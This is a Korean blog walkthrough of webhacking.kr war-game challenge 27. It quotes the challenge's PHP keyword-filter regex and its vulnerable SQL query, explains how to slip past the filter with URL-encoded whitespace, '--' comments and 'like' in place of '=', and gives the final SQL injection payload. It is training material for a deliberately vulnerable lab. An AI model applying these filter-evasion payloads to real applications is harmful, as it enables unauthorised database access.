메인화면 입니다.

소스보기 입니다.

소스중 아래 부분을 보면 차단 문자열을 알 수 있습니다.

if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");

[차단문자]

'#', 'select', '(', 'limit', '=', '0x','공백','대소문자 구분없음'

문자로인해 차단되었으면 "no hack"이라는 문자열을 출력하네요 ~

$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");

if($r['id']=="guest") echo("guest");

if($r['id']=="admin") solve(27); // admin's no = 2

위와 같은 쿼리를 보내는 데 "admin"의 no = 2 라는 힌트를 주었습니다

그럼 no=2인 경우를 만들어 "admin" id를 가져와야 겠네요 ~

공백은 '%09' 또는 '%0A' 로 대체가 가능합니다.

'#'주석은 '--' 로 대체가 가능합니다.

'=' equal 은 'like'로 대체가 가능합니다.

이를 토대로 쿼리를 만들어보면 아래와 같습니다.

"0)%0Aor%0Ano%0Alike%0A2%0A--"

여기서 ')'괄호를 그대로 사용한 이유는 "no=({$_GET['no']})" 부분에서 괄호가 열려있기 때문입니다.

위에 쿼리를 파라미터로 대입해보면 제대로 실행되지 않습니다.

원인은 잘 모르겠으나 뒤에 '%09' 공백을 주어야 한다네요....

[최종쿼리 ]

"0)%0Aor%0Ano%0Alike%0A2%0A--%09"

 

챌린지 27 성공!

'WAR GAME > Webhacking.kr' 카테고리의 다른 글

[webhacking.kr] Level29 (old)  (315) 2020.04.28
[webhacking.kr] Level28 (old)  (345) 2020.04.28
[webhacking.kr] Level26 (old)  (310) 2020.04.28
[webhacking.kr] Level25 (old)  (297) 2020.04.28
[webhacking.kr] Level24 (old)  (316) 2020.04.28

+ Recent posts